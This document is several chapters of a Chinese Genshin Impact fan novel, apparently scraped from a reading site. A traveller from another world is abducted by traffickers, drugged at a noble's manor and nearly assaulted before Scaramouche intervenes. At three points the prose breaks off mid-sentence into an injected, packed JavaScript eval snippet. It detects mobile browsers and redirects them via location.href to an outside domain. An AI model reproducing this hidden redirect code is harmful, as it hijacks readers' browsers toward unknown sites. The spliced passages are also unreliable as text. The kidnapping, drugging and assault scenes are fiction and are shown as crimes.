《散兵对我竖中指,我给散兵戴戒指[原神]》 1. 01 提瓦特,至冬国。 鹅毛般的飞雪飘飘洒洒,冷风呼啸而过,吹散了烟囱里升起的炊烟。 餐馆靠窗的位置上,几个青年男人围坐一桌,正大快朵颐。 他们裹着带毛领的冬装,这是颇具至冬特色的服饰。只不过比起常规的款式,手脚收口处都被额外束紧。 “还有多久?”一人问。 另一人从胸口掏出怀表,举在眼前看了下时间,“快了,大概半刻种。” “那位大人,可真是会享受啊。”先前发问那人撕去烤肉焦糊的部分,丢进嘴里用力咀嚼着,“反而叫我们这种鬼天气还得在外奔波。” “人家是贵族老爷,哪里是我们这些平民能比的。”他的同伴嗤了一声,“你要是羡慕,下辈子记得去投个好胎。” “我抱怨的不是这个。”青年“呸”的吐掉骨头渣,“那位明明几天前刚刚要过人,怎么今天又来要——按照常理讲,怎么也要先隔上半个月吧?” “好像说搞什么庆祝,”同伴解释道,“大概是生意上又小赚了一笔。” “也是难为咱们几个,在这么短的时间内给他凑齐人数。” “就怕品质比不过上一批,到时候那位怪罪起来——” “嗐,订金都付了,尾款也是现结,”瘦高的青年道,“说不准趁着喜事当头,他还能多从手里漏几个子儿给咱们呢。” “大哥说得对,反正都有摩拉拿,咱们只负责办事。” 圆盘里的烤肉只剩下些边角,瘦高青年拧开酒壶,向几人示意,“来,暖暖身子。” 几人纷纷递过酒杯。动作间能看到,他们衣物布料内有硬物的尖锐轮廓显出,都在各自趁手的位置,大概是武器。 不远处有脚步声音传来。几人扭头看向窗外。 街边走来一行人,为首者似乎是个少年。 少年身披银白色的斗篷,暗纹若隐若现。帽子戴在头上,边沿还镶了一圈蓬松的绒毛。脚下蹬着一双长靴,行走间衣摆随风扬起,隐约能瞧见帽檐处露出的堇色发丝。 饭桌旁的青年摸着下巴,“谁家的小少爷跑出来玩了。” 他语气中不乏嫉妒。那少年虽然瞧不清面容,但显然不是他们这种市井流民。仅看斗篷上精致的绒毛便知道,用料与自己身上这种滑腻腻的毛领是天壤之别。 他们将少年划分至“上等人”的行列,态度自然没什么善意。 “这种天气也往外面跑,”另一人鼻孔喷出热气,奚落道,“等下被冷风一吹,回去还不得病倒卧床感冒发烧大哭闹着叫妈妈。” 始终沉默的那位收回打量的目光,“啧”了一声。 “说起来,那种娇生惯养的少爷,应该也是细皮嫩肉的。要不要——” “别打不该打的主意。”为首者警告的瞪了他一眼。 街边那行人中不乏身形魁梧者,但都规矩的跟在斗篷少年身后,可见那个少年的身份并不一般。况且他还注意到,有人手臂挥动时身上有光芒闪过,虽然也有看花眼的可能,但如果没看错的话,那便是神之眼。 神之眼——因被神明注视而获得的外置魔力器官。有神之眼持有者坐镇,那群人不是他们这种普通人能惹得起的。 “我也只是口头说说。”方才提议的青年讪讪。 他为几人满上了酒,“来,干。” 辛辣的烈酒入喉,体温也似乎因此得到了上升。 “干了这杯。” “吃饱喝足,好有力气干活。” 窗外,风雪突兀的增大了。 雪花聚成雪片,视野也变得白茫茫一片。冷风刮过衣角,将斗篷吹起,发出布料拍打的簌簌声响。 街道的队伍中,有人快步追上前,在斗篷少年身侧弓腰,“大人。您要不要先去旁边的店里歇歇脚?” 今日天气的变化实在诡异,众人出发的时候不过飘飘细雪,现在竟然有发展成暴风雪的趋势。 少年瞥了眼店门,脚步未停。 “脏。” 寒风呼啸,队伍的身影很快消失在风雪之中。 餐馆内,几人丢掉空杯,从桌旁起身。 戴怀表的那位又看了眼时间,撇嘴道,“超时了。” 他的同伴看着窗外,低声骂了一句。“都怪这鬼天气。” “走吧,”为首者挥手,跨出店门,“去接应。希望不要什么出岔子。” 骤然增强的风雪持续了片刻,又突兀的减弱。不过几个呼吸的时间,视野便重回清晰。刺骨的寒风也变得收敛,只有细小的雪花飘荡在空中。 街边,斗篷少年曾走过的位置处,半蹲着一道身影。 没有人注意到这道身影是什么时候出现的,就仿佛凭空降临于此处一般。 那身影长发披散,银灰的发丝如同绸缎一般,从肩头滑落。 他闭着眼,眉头微蹙,指尖轻按在眉心。这人看看上去很年轻,天生一副好骨相,面容精致得不似真人。 良久,他睁开了眼。 眼瞳是暗金的颜色,眸光流转间,有丝丝缕缕鎏金般的光华闪过。 他好奇的打量着周围的世界。日光于此刻破开云层,笼罩在他身上,逆着光,银灰长发也仿佛被镶上了暖调的光晕。 六角雪花轻轻飘落,在他眼睫停留。浓密而纤细的睫羽一颤,便抖落了那点细碎的晶莹。 此时路上无人,但若有人经过,怕不是要感叹见到了天使降临人间。 然后这位天使般的人物开口: “芜湖!我免费啦!” 乘晞欢喜的意识到,自己穿越了。 大概是初来乍到的缘故,脑袋里晕晕的,仿佛有云雾在飘,但这也不能将他的欣喜削减分毫。 乘晞记不起穿越前做过什么,只知道自己一睁眼,便出现在了全新的世界里。 正在他疑惑周围为什么如此陌生的时候,眼前有什么熟悉的东西闪过——是○神的游戏面板。 这个游戏他不分昼夜的肝过,自然十分熟悉,而面板也与游戏中的菜单所差无几。 乘晞险些以为自己出现了幻觉。 等他凝神细看,才发现面板并非实体的出现在自己眼前,而是存在于自己的意识之中。他试着收回了一下,游戏面板便折叠收起,而动用意念唤出,面板便再次出现。 作为一个老二次元,乘晞不难猜出眼下的情况——传说中的穿越,就这样水灵灵的发生在了自己身上。 现在是什么年代,穿越难道是什么家常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353568|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便饭吗? 不,按照故事的发展套路,一般都是气运之子、天选之人才能穿越。 所以说……难道是因为自己对散兵的爱,感动了苍天? ——没错,一定是这样。 身为散厨的乘晞点点头,表达了充分的自我肯定。 真是苍天有眼啊。 乘晞双手合十,闭上眼,在心头默念:所以苍天能不能再开一次眼,让我现在、立刻、马上出现在散兵面前? 等了几秒,他睁开眼。周围的环境毫无变化,并没有出现那道他期待中的身影。 可能苍天暂时把眼睛闭上了。乘晞略显遗憾的松开手指。 又或者是祈愿的方式不对?整点纠缠之缘试试。 乘晞打开游戏面板,朝右上角望去,却发现祈愿功能消失了。连卡池都没有,更别提用来抽卡的纠缠之缘了。不仅如此,角色栏也消失不见。 乘晞颇为惋惜的怀念了一下他曾经的满命满级满好感度散兵。 不过既然自己来到了提瓦特,游戏人物都存在于此方世界的现实之中,所以不能出现在自己面板里也十分合理。更何况,未来说不准有机会能见到真人,更不必为了消失的角色栏而伤神。 乘晞在意识里戳了一下地图。标有地域名称的画卷从眼前展开,他发现自己处于一个偏浅色的国度,按照位置推算,应当是至冬。 这里多少有些偏僻了……乘晞想着,将地图挪动,寻找某片处于海域中的岛屿国度——稻妻。 那里是散兵的故乡。 凭借着记忆,乘晞很快找到了某个熟悉的位置——借景之馆,彼时尚为“倾奇者”的散兵在诞生之初,被世人发现的地方。 乘晞在面板上戳了戳,发现地图具有传送功能。 也不知道如今是什么年代,但总归要去稻妻看看,毕竟倾奇者曾在人间流浪数百年,说不准自己真的运气爆棚,穿越的时间点里纯白人偶刚好漂泊在外。 乘晞触碰到传送功能,毫不犹豫的按了下去。 周身空气产生莫名的波动,眼前的景物逐渐扭曲,乘晞只觉得脑海中云雾开始翻涌,连同意识也变得模糊。 他身形晃了晃,倒在了地上。 * 再度恢复意识的时候,乘晞意识到自己正在小幅度的颠簸。 四周光线昏暗,他眨了眨眼,看清自己正处于某个密闭空间之中。乘晞缓慢的坐起身。 “你醒了。”一道友善的声音传来。 乘晞一惊,才意识到前排有人。 仿佛察觉到了他的疑惑一般,那人解释道,“你先前晕倒在外面了,我们两个刚好路过,发现了你。” 乘晞迟疑道,“……谢谢你们救了我。” 违和感挥之不去,他拨开遮光的布帘。窗外暮色降临,街边压着积雪的灌木在向后移动。 “我们这是要去哪里?”乘晞问。 前排的二人对了个眼神,“去找医生。” “你一个人晕倒了,怕是连自己身体有问题都不知道,还是请医生看看比较保险。” 路旁灯光落入窗内,将讲话之人的面容照亮一瞬。 乘晞看见,那人额角有一块疤痕,上面还划着道带血的新伤。 2. 02 乘晞手指一松,布帘回落,遮住了车窗,也遮住了他变幻的神色。 他轻轻吐了口气,声线如常的接话,“真是麻烦你们了,还找到车来接送我。” “今天的车实在不好租,刚巧我们遇见了一辆,”前排人回答,“不得不说,你确实运气好。” 乘晞便靠回身后,不再说话。 昏暗的环境降低了可见度,也给了他些许安全感,乘晞小幅度动了动四肢,发现自己活动自如,没有被束缚或者其他异常。 难道那两人虽然面相凶恶了些,但搭救自己真的出于善意? “小伙子,”前排人再次开口,“你看起来不像本地人,是怎么来我们镇上的?” “家中做生意,跟随着商队来的这里。”乘晞斟酌着回答。 他不确定至冬的权力架构和具体官职,如果编出个与实际有所出入的职业,恐怕会露馅。 家中行商意味着有经济条件,万一这伙人图谋不轨,考虑到能从自己身上有利可图,自己存在的价值更大,安全的时间也更久。 “我晕倒之前,有家丁在附近。”乘晞发出试探,“现在他们找不到我,恐怕会很着急。” “看医生比较要紧,现在也不好折返回去。”对面说,“不如你把具体地址告诉我,我帮你给你的家丁们捎个口信?” “或者你写个字条,”另一人接话,“等下我们帮你带过去。” “不必了,”乘晞婉拒,“能被搭救我就很感激了,怎么好再麻烦你们做这些。” 对面看似给了他选择,实则毫无选择的余地。这辆篷车他现在是下不得了,篷车的目的地也无法更改。至于捎带传信,且不说乘晞在这里无亲无故,即便有人可传,经由对面之手,传不传信、具体怎么传就要两说了。 迎面有人沿路走来,手中提着极亮的灯筒,光束斜斜的照向前方。 光亮透过帘幕,落在乘晞眼里。他心中一瞬间悚然——篷布上,赫然映出了两个黑沉沉的影子。 这辆篷车上,居然不止他们三人。除去与自己共处车内的两人外,车椽处还坐着两个更为强壮的身影,只是因为帘幕的遮挡,自己并没有发现。且那些人十分安静,自始至终都没有发出任何声音,与外界的昏暗融为一体。 想到方才的对话,乘晞感觉后颈发凉。前排那位刚刚说他们只有两个人,可这伙人明明有四个人,另外两位在暗中隐藏得极好,分明是不打算被自己发现。 恰在此时,前排人似乎也意识到了什么。他们缓缓扭头,向乘晞看去。 千钧一发之际,乘晞闭上了眼。而衣袖遮掩下的手指,却深深的扣进了掌心里。 那两人见状,彼此对视一眼,将脖子扭了回去。心想算这小子走运。 先前他们注意到光影,还担心后排那位察觉到异常,已经做好了动手的准备。不过转身发现对方闭着眼,大概根本什么都没看见,提起的心又重新放下。 说起来,后排那位银头发少年,算是他们今天的意外收获。 在餐馆填饱肚子后,他们四人去接应同伴。同伴负责看管的,正是准备献给贵族老爷的“客人”。 这些“客人”大多是年轻男女,有的本就独身无所依靠,有的则是路过此处的外乡人。在成为被人相中的猎物后,或受到花言巧语的蒙骗,或因威逼或利诱妥协。表面说送他们去庄园做客,实则是将他们送去供人玩乐。 在一众有此嗜好的贵族中,拉基老爷是最难伺候的一位。他在玩乐方面有许多折磨人的法子,喜欢在“客人”身上留下刺眼的痕迹,却要求对方被送来的时候必须虚发无损。 以前他们送了位被绑架的旅人去庄园,却被拉基老爷拒绝了,说麻绳捆扎把皮肤磨破了,影响美感也影响乐趣。因此之后再寻找猎物的时候,他们都会格外注意,大多采取诱骗的方式拐人。 今日因为时间紧迫,他们才不得已威胁了临镇前来采买的两位小男孩。一切看似进行得很顺利,却没想到在接应时,天气莫名奇妙的变幻,风雪突然加剧,两位受制于人的男孩选择了反击。 当时雪粒迷人眼,连路面都看不清晰,他们中一人不慎滑倒在地,被男孩趁机夺走了武器。混乱之中,不仅让男孩逃脱,额角还被划伤。 等风雪止息后,两位男孩早已不见踪影。他们只好沿着来路,在附近逐个角落缓慢搜寻。 搜寻中,却获得了意外收获——不远处的路中央,有人昏迷不醒。 他们立即走近,从身形来看,晕倒的是个少年。虽然衣袍委地,却意外的纤尘不染。银灰的发尾拂过衣摆,领口露出一截白皙的后颈。怎么看都是猎物的绝佳之选。 再去看这少年的正脸,更是惊为天人。他双眼轻闭着,不知是否因为在雪地里躺久了,面色透露出病弱的苍白,如同精致易碎的瓷器。 几人当即决定,就用这位少年交差了。他们“征用”了附近一辆篷车,将人抬了上去,并很快商议好了说辞。 留下两人在车内看管,如果少年一路昏迷,那再好不过,但如果对方苏醒,便以寻医之名将对方送去目的地。因篷车内部空间有限,另外两人守在车外,万一被少年识破骗局,几人也方便在不弄伤对方的前提下合力制住对方。 计划进行得十分完美,银发少年虽然苏醒,但并未对他们的话语产生怀疑。且大概身体比较虚弱,没多久便靠在后排昏睡,想来也无法翻出什么风浪。 唯一的变数是这少年似乎出身不低。从方才简短的对话推测,对方大概有几分家底。不过既然对方跟着商队行经此处,对本地风貌大概还不熟,家丁也没那么容易找过来。至于后续会不会牵扯到少年所属的家族——他们只负责把人送到庄园,把巨额偿金收入囊中,其余的一概不在考虑范围之内。 佯装闭目的乘晞,正在意识中探索自己的游戏面板。这是穿越后他获得的金手指,或许能够成为破解眼下难题的唯一途径。 地图现在没什么用处。他对这附近不熟,并不清楚自己会被送往什么地方,而传送功能虽然依旧亮着,但有上次直接晕倒的前车之鉴,不到万不得已他不会再次尝试。 乘晞翻找起背包一栏。划过满满当当的各类植物、矿物、掉落物、培养材料,以及全图鉴食物、调料、半成品、烹饪菜品,他停在道具板块。 道具格被各类他曾获得的游戏道具填满,什么风花节纪念气球、霄灯、风筝、风佑之羽球、烟花筒、蹦蹦庆典拉炮……虽然各个都样式精致、甚至不乏绝版道具,但也改变不了他们大多仅是氛围烘托物的现实。 比如眼前这个[便携式空气动力胶质泡生发器],名字起得文绉绉,实际上就是一把泡泡枪,按下扳机能喷出五颜六色幻彩泡泡的那种。这玩意拿在手里能有什么用呢,但凡它是把真枪——乘晞思绪一顿。 有什么东西,忽然沉沉落在自己手中。 他低头去看,眼前一阵发花。乘晞用力眨了眨眼,另一手掐自己让自己清醒,视野中的模糊斑点才逐渐散去。 沉甸甸的重量提醒着他,一切并非幻觉。乘晞握着的,正是那把刚才被他吐槽过名字的泡泡枪。 原来在脑海里想到“拿出”的时候,这道具便跟随意识,以实体形态出现在了他手中。 乘晞在意识中展开面板,再看向手中的泡泡枪,那长串名字[便携式空气动力胶质泡生发器]便如同注解般浮现在眼前。 乘晞试着调动面板,将泡泡枪收回去,但先前的头晕眼花之感又有卷土重来的趋势,他被迫停止了这样的想法。 这般试验过几次后,乘晞基本确定,他游戏面板的背包可以收纳实物,也可以将内容物取出。但过程会对自己有某种消耗,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一侧有仆从捧来鼓鼓囊囊的钱袋,瘦高青年立刻弯腰接下。 “快滚吧。”拉基老爷摆手赶人,随后去了里屋,准备享受自己的美好夜晚。 乘晞被仆人引入庄园。 “这边请,您从大门进。” 一路上,他有想过逃跑,但前后各有两位仆人,无形中将退路堵了个严实。 这么大阵仗。乘晞心中咬牙切齿,面上却没有显露分毫,“你们老爷真是太好客了。” “您是外地人,大概有所不知。”那仆人没听出他在讲反话,“我们镇上的确民风淳朴。” “老爷为您准备了丰盛的晚餐,您奔波一路,肯定也饿了,请尽情享用吧。” 将乘晞送入餐室后,仆人们便悄无声息的退下了,还掩上了门。 长条餐桌只留了两端各一个长背椅,素色的丝绒衬布于桌面垂落。烛台置于中央,银质餐具泛着光。鲜花点缀在餐盘的空隙里,食物散发出诱人的香气。 香气催人味蕾,乘晞也确实有些饿了。 这份晚宴着实丰盛。放眼望去,格瓦斯、鱼籽酱沙拉、罗宋汤、欧拉季益、巧克力慕斯……从主食到配菜到汤品到饮品到餐后甜点,一应俱全。 乘晞思索片刻,在意识中唤醒游戏面板,透过面板再度看向餐桌。 映入眼帘的注解是: [掺有不明成分的格瓦斯]、[似乎加过料的鲟鱼籽酱沙拉]、[混杂未知液体的罗宋汤]、[涂抹奇怪夹心的牛肝欧拉季益]、[撒上褐色粉末的熟巧克力慕斯]。 乘晞:“……” 果真是民风淳朴啊。 3. 03 乘晞第一次知道,原来食物还能拥有如此多种类且不重复的前缀。毕竟以前在游戏里,他只见过诸如[美味的]或者[味道奇怪的]等料理形容词。 这一桌晚餐里加的东西,别说放倒他了,恐怕都能放倒一头大象。 感受到胃袋的空虚,乘晞心说满目珍馐无从下口,只能暂时委屈自己了。 但目光落在长桌对面,他又有了主意。 晚餐是两人共进的布局,而对面那份食物,自然属于庄园主人,很大可能是安全的。对方总不会自己给自己的饭菜也加料吧。 这样想着,乘晞绕过长桌,打量起另一端的餐食。 恰在此时有声音传来,虚掩的门扉被人推开。乘晞立刻转身。 来人衣着华贵,见到乘晞便神色一喜。 “你好,我是这座庄园的主人,我姓拉基。” 乘晞礼貌颔首致意。 垃圾?他心想,听起来就不像好人。 “还没问你叫什么名字?” “乘晞。” 拉基老爷“哦”了一声,亲切道,“欢迎来庄园做客,一定是命运使你与我相遇。” 乘晞:“……” 他礼貌微笑,“幸会,垃圾老爷。” 拉基老爷从进门开始,就不动声色的打量着乘晞。 少年身形舒展,神色自如的立在桌旁,显然并不知道自身早已处于狼谭虎穴。看来他采取的怀柔手段颇为有效,对方恐怕到现在依旧深信不疑,自己是被带来庄园做客,等待着看医生呢。 拉基老爷便顺着谎言编下去,“医生我已经派人去请了。想必你也旅途劳累,先来用餐吧。” “您客气了,”乘晞并不打算吃如此用料丰富的食物,“但我暂时还不饿。” “庄园恭候你许久了,”拉基老爷伸手,向对面的位置一引,“总要让我这个主人尽到地主之谊。” 他脸上带着看似和善的笑,动作间却朝乘晞逼近两步:“半日时间滴水未进,你怎么会不饿呢?” 拒绝无果,乘晞装作同意的应了一声,回到自己的位置。 “请自便。”拉基老爷举起酒杯,“祝你用餐愉快。” 乘晞也拿起杯,与对方遥遥相碰,随后仰头饮下。 实际上,杯里加了料的格瓦斯他一滴都没有入口,仅仅碰了下嘴唇。 见少年喝下了他准备的东西,拉基老爷满意的眯起了眼睛。 镶嵌水晶的银器莹亮,安静燃烧的烛火摇曳。光影交错中,少年喉结滚动,脖颈勾勒出优美的弧线。 桌台上,蜡油沿着蜡烛边缘低落,在烛台下聚成一滩。拉基老爷搓了搓手,开始想象等下自己要拿起哪只蜡烛,如何在少年身上留下残忍的痕迹了。 他的庄园已经好久没有收到如此完美的客人了,今晚注定要彻夜狂欢。 乘晞对拉基老爷脑海中的污秽思想一无所知。 他放下酒杯,抬手支着脑袋,做出似乎有些头晕的模样。放在桌下的另一手却攥紧了泡泡枪,等待对方的进一步动作。 拉基老爷咽下嘴里的松饼,放下刀叉。据他猜测,药物已经开始起效,便也没有再装场面的必要了。 他走到乘晞身边,在乘晞肩上拍了拍,“你是不是吃累了?我扶你去客房休息。” 乘晞偏头看过来,带着些迟疑的神色。 他目光朦胧,实则在心中暗惊——对方手掌的力气竟然很有分量。自己与之相比,硬碰硬毫无胜算。 在乘晞准备继续周旋的时候,肩头又是一沉。 拉基老爷拍过他的那只手,再度落了上来。“不准备回房间吗?那我们就在这里也可以。” ‘就在这里’?是什么意思? 乘晞还没想明白,就感到颈侧有布料滑过。拉基老爷的手,正准备向他的领口中探去! “!” 乘晞当即从软椅中弹射起步。 他原本只以为,对方在饭菜里加的料类似于迷药,是准备从他的身上搜刮财产。而下药放倒自己,也是为了绑票或者威胁从而获得更多财物。可这种明显图谋不轨的动作出现,令他意识到,对方想要的是别的东西。 自己的心灵还是太过纯洁了。乘晞深吸一口气。 他还想着劫财,而这个老登——看年纪算应该是中登,心真脏,居然打算劫色! 岂有此理。 一切思绪只在片刻间梳理。 乘晞起身后转了半圈,退出些许安全距离,背靠着桌沿。他手指并起点了点太阳穴,一副不怎么清醒的模样:“你怎么忽然过来了?真是吓我一跳。” 不等对方回答,他便从身后拿出泡泡枪,“我有礼物给你。” 拉基老爷看到乘晞忽然拿出个银色的东西,原本是有些警惕的,以为对方有什么随身武器。但见那东西在对方手里晃了晃,喷出一串五彩斑斓的泡泡,他顿时放下心。 果然还是个少年,带来的也是无害的玩具。 他挪来椅子坐下:“好啊,展示展示你的礼物。” 看着对方衣袖翩翩,拉基老爷舔着嘴唇,“给我跳段舞吧。” 乘晞没答应也没拒绝,而是问了个毫不相干的问题:“你知道男人一辈子要守护的三样东西,都是什么吗?” 以往面对这种情况,拉基老爷大概会直接动手。但今天这位实在容色独绝,胜过街心公园中央的天使雕塑,拉基老爷不介意多几分耐心,同对方慢慢玩一玩。 类似的问题曾有段时间在民间流行,因此他也知道答案:“家里的父母,怀里的女人、身边的兄弟。” 乘晞却摇了摇头,“不对。” 拉基老爷来了些兴趣,“那你说说,应当是什么?” 乘晞:“答案是男德、男德、男德。” 拉基老爷一愣,随后如同听见笑话般哈哈大笑。 “真是新鲜的说法。”他只知道女人要讲品德,受良好的教育、有端庄的礼仪、做贤惠的妻子,“我可从没听说过,男人也有什么男德要守。” 乘晞不答,只是手腕挥动,带起一串透明泡泡飘来。 拉基老爷掸破飘到自己眼前的那枚,肆无忌惮的打量着少年靠近的轮廓。饮品中的药物已经开始起效,用不了多久,对方会对自己言听计从。 胶质泡泡映着七彩光晕,却也薄如蝉翼,就如同落在自己手中的少年,脆弱,易折,让人生腾起将之摧残的凌虐欲望。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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盖子骨碌碌滚了几圈,拍在旁边的托盘里。盘中原本放着彩绘的生鸟蛋,以作装饰之用,现在也不堪重负,发出咔嚓细响。 蛋壳碎掉,蛋液淅淅沥沥的流淌出来。拉基老爷看着那几枚碎裂的鸟蛋,感觉受到了深深的嘲讽。 偏偏乘晞也察觉了,还关切道,“你是不是和它们同病相怜了?” 拉基老爷露出狠色,“你找死!” 耻辱与恨意冲破头颅,他一把抓起盘中的餐刀,决心要对方为所作所为付出代价。 乘晞一惊,也瞥向桌面,但他所处的位置并不方便,来不及寻找任何趁手的物件,对方就踉跄着逼来。 乘晞只得迅速后退。 砰——忽然间,门被一股无形的力量从外撞开。 拉基老爷闻声看过去。 乘晞趁机与对方拉开距离,躲进房间的角落里。 踏入房门的,是个少年。 他没有像白日里那样戴着兜帽,身上的斗篷也换成了黑色。 大概因为室内的温度比较热,少年襟门敞着披在身上,露出里面黑红相间的内搭。 他有一双堇色眼睛,同色系的发梢拂过眼尾。抬眼看过来时,那里显出艳丽的一抹红。 “晚上好啊,”少年语调上扬,带着几分懒散,“贸然造访有些唐突,还真是抱歉。” 4. 04 话虽这样说,少年已经闲庭信步的走了进来,动作间毫无唐突抱歉之意。 拉基老爷打量着这位不速之客。 门被推开的一瞬,他有种后颈一凉的感觉。但那感觉稍纵即逝,令他怀疑是不是产生了错觉。 拉基老爷在心中猜测少年的身份,而少年简单扫视了厅内的陈设,目光便落在他身上。 “你就是拉基?” “没错。” 少年似乎笑了一下。 见对方大概表露出友善,拉基老爷便追问道,“不知道你是什么人?” 少年的笑意并未达到眼底:“你的问题太多了。” 拉基老爷一噎。他下意识被少年震慑住,心中却又升起不满。明明是对方闯入他的庄园,却丝毫没有身为闯入者的自觉,甚至连姓名都不肯报上。 “你来我家里做什么?”借着桌椅的遮掩,他握紧了手中的餐刀。 “你这种行为……叫私闯民宅。”拉基老爷说,“你知不知道,私闯民宅是违法的!” 少年牵了牵唇角,“是么。” “你做的那些勾当,难道就不违法?” 拉基老爷瞳孔剧缩。对方居然清楚他的底细! 今夜之事,他并未声张,那几个“送货”的社会青年收了他的钱,肯定也会守口如瓶。这位不速之客又是怎么找过来的? 况且他虽然玩的花样比较多,但贵族中有这样喜好的人大有人在,不速之客为什么偏偏找上自己? “这应该是误会。”拉基老爷扯出一抹笑,“你先坐下来,我们慢慢谈。” 对方既然捉住了他的把柄,无外乎是准备借此勒索。他想暂时安抚住对方,套话问出事情的原委,再借机除掉隐患。 少年闻言,瞥了那靠椅一眼,但并未落座。 “没什么可谈的。” 拉基老爷“哎”了一声,“年轻人,人情世故就是要通透些,凡事都可以拿起放下的,我们好好谈谈,一切好商量。” 他一边忍着身下的痛,一边又要同这位不速之客周旋,简直在心里咒骂了无数遍,脸上挤出的笑容都十分虚假。 “你没有‘谈谈’的资本。” 少年说完后半句话,便向对方走去。 看着少年缓步而来,拉基老爷将餐刀刀锋调转向上,恶从心中起。既然软硬都不吃,就别怪他不客气了。 在少年靠近之时,拉基老爷猛然将餐刀抽出,捅向少年的腹部。 预想之中的得手并没有出现。 拉基老爷甚至都没看清楚发生了什么,手中的餐刀就飞了出去,在半空划过一道弧线,落到数米之外的地面。 他下意识想要还击,四肢却不听使唤。仿佛有某种力量在无形之中,带着窒息的威力,压迫他的每一根神经。 拉基老爷被迫跪倒在地,以一个滑稽的姿势扶住椅角。他艰难的抬起头,神色中只余恐惧:“饶命!” “你……您,您饶命啊!” 拉基老爷怎么也不会想到,这少年看似单薄的躯体之中,居然蕴藏着如此恐怖的力量。 对方绝对不是普通人,很可能是位神之眼的拥有者。拉基老爷来不及再细想,但也深知如果对方想要碾死自己,就和碾死一只蚂蚁一样简单。 “真的对不起!我错了,我不是故意的!”他在地上求饶道,“我也只想着玩一玩,万万没敢招惹您啊!” 少年带来的威压丝毫未减,“我姑且将你这句话理解为挑衅。” 拉基老爷忽然抽搐起来,似乎感知到了什么极为恐惧的事情,四肢胡乱的摆动着,想要向对方求饶,却没办法开口说话。 他喉间发出嗬嗬声响,不过数秒,便两股战战,身下聚出一摊液体,散发出不怎么文明的气味。 少年略显嫌恶的后退半步。 那股无形的威压消失了,拉基老爷如同死狗一般摊在原地。 少年发现,拉基老爷表现出的胆量与他原本认为的十分不符:“这种东西也敢玩,真不怕把自己的小命玩丢。” “不敢了,以后再也不敢了。”拉基老爷连忙表明决心,“受到伤害的人已经无法挽回,但我可以给出补偿!金钱、珠宝、名酒、田庄、商铺、房产……您想要什么,我都愿意赔给您。” 拉基老爷以为自己过往消遣过的“客人”中出现了漏网之鱼,逃出去向外界通风报信,或许其中有某位是这位少年的亲故,因此对方找上门来报仇。 但少年闻言,却有些疑惑的重复道,“你说‘受伤害的人’?” “是是,”拉基老爷解释道,“我和他们只是玩乐、玩乐而已,况且他们也是自愿的……” 他当然不肯承认这“自愿”中存在多少胁迫威逼的成分,也绝对不肯承认是受到了药物的影响,并在心里打好主意,将责任推卸给那些送人过来的社会青年。 “他们中有些人本就生活困难,是我好心收留他们,收留到我的庄园里。”拉基老爷一连串的辩解道,“而且,我也不是没给出补偿,无论是钱币还是物资,都有的。” 当然这些“补偿”给的不是受害者,而是某些目击者,以做封口费之用。 少年目光落过来,眉头皱了下又松开,看地上人的眼神如同在看一个死人。 “原来你还做过这些事情啊。” 拉基老爷身子一颤,惊恐的意识到——从一开始,他就会错了对方的意。 他想要再辩解些什么,可一时间连组织语言的能力都几乎丧失。 “现在,告诉我,”少年问,“货在哪里?” “货……”拉基老爷嘴唇哆哆嗦嗦,“什么货?” “四天前,你昧下的那批。”少年提示道。 “您……您是指……具、具体哪一批?” “原来你还贪了不只一批。” “饶命!您饶命……货还在,所有货都在!在、仓库里,我还没来得及把它们出手……我这就还给您、都还您!” 少年向身后侧了侧头,“去找。让他带路。” 几道黑衣人影迅速出现,对少年躬身一礼,随后将拉基老爷拖出门外。 墙角。 乘晞艰难的平复心绪,松开紧紧扣着墙壁的手指。 感受到指尖黏着的碎片,他险些以为自己力气大到徒手将墙皮掀掉了,回过神才发现壁上贴着的是绒布制作的墙纸,而自己弄掉的不过是上面的立体装饰。 从那少年讲出第一句话起,他就敏锐的分辨出了对方的声音。 那是曾经反复观看的剧情剪辑、倒背如流的PV台词、游戏中无数次回响在耳边、始终相伴的角色的声音——散兵。 在那瞬间,乘晞连呼吸都变得小心翼翼。生怕感知到的一切不过是自己的幻觉。 房间内,烛火摇摇晃晃,那声音也乘着缓慢涌动的温暖的气流,淌过乘晞耳边,也流过他的胸膛,一颤一颤的。 乘晞僵在原地,忘记了所有动作。他侧耳听着对方的声音。 和以前不一样。不再隔着屏幕、不再藉由耳机或者音响,散兵的话音就响在不远处,是真真切切的、咫尺之遥便能够触碰的。 乘晞从未感受过自己如此剧烈的心跳,强而有力。 打破次元的实感在此刻达到顶峰。乘晞第一次清晰的认知到穿越的力量——他,属于这个世界,也身处世界之中。 感受到手腕传来的酸痛,他才发现自己将这个别扭的姿势保持了多久。 乘晞缓缓吐气,观察起自己的所在。这个位置贴着墙壁,是房间内的死角。他看不见门口的情形,那边的人也看不见他。 但房间内有不少水晶装饰。他将剔透摆件的弧面一一扫过,寻找那道陌生却熟悉的身影。 借着反光,乘晞看清了对方的轮廓。衣着并不是立绘上为人所知的青蓝搭配,而是更深颜色的基调。 听着对话的内容,结合熟知的记忆不难猜出,散兵此时的身份尚为愚人众。 ——是曾经剧情短暂的、文案稀少的、pv画面寥寥无几的、从旁人口述中探知一角的尚在至冬的愚人众时期,如今正鲜活的出现在自己面前。 乘晞在内心发出尖锐爆鸣。 雷散,仙品! 那边的对话还在继续,乘晞不准备贸然出现打扰,便安静的靠着墙壁等待。 